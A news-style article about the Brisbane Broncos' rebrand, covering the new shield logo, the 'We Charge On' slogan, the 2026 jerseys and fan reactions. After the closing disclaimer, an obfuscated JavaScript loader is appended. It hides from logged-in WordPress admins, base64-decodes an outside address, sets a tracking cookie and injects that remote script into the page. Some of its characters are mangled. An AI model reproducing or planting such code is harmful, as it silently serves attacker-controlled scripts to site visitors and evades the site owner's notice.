How to Embrace the Brisbane Broncos’ New Identity
The Brisbane Broncos have unveiled a bold new rebrand, marking their first identity change in over two decades. The updated logo features a modern Bronco facing forward in a shield, referencing the original 1988 insignia, with a stylised line representing the Brisbane River to symbolise the city at the heart of the club.
The new branding, launched after the club’s historic double Premiership year, sets the tone for the next era with a revamped look and a new battle cry: “We Charge On.”
A Logo That Represents Past, Present and Future
The rebrand places “Brisbane” more prominently than ever, emphasising the club’s city-first focus as Brisbane prepares for global visibility ahead of the 2032 Games. According to the Broncos, the design is intended to connect the team’s heritage with a strong, modernised direction.
Club CEO Dave Donaghy said the update represents more than a graphic change:
“This is more than just a logo – it’s a statement of who we are, where we’re from and importantly, where we’re headed.”
He added that the redesign both honors heritage and positions the club for greater international recognition as the NRL expands globally.
Head coach Michael Maguire echoed this sentiment, reinforcing the idea of progress and momentum:
“You can’t stand still — you’ve got to keep moving forward. And we have an exciting group. Charging on is a big part of it.”
Months of Consultation and Fan Engagement
The identity refresh follows about 18 months of development and consultation with members, partners, players and staff. Immediately following the announcement, signage at the team’s Red Hill headquarters and the iconic Brisbane letters at Southbank were updated to reflect the new branding.
New Jersey’s Launch Activities
As part of the rebrand, the Broncos unveiled their 2026 home and away jerseys. This included a refreshed design for both, as well as an updated navy tribute strip honoring club legend Cyril Connell. The launch featured events across Queensland with club legends, current players, and a trophy tour to introduce the new jerseys to regional communities.
Mixed Fan Reactions
The rebrand sparked a strong online discussion. Many praised the modern look, while others disliked the simplification and increased focus on “Brisbane.” Debate and petitions highlighted the deep connection fans feel to the club’s identity.
Official Launch Video
The Broncos also released an official rebrand launch video on YouTube, showcasing the design process, interviews, and behind-the-scenes footage.
Video Credit: Brisbane Broncos (Official YouTube Channel).
What the New Identity Means for the Club
Club officials say the rebrand prepares the club for its next era—enhancing commercial growth, increasing global recognition, and balancing heritage with innovation for future expansion.
Disclaimer
Some content in this article — including quotes, visuals, and descriptions — is sourced from official Brisbane Broncos videos, media releases and publicly available news reports. All rights belong to their respective owners.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();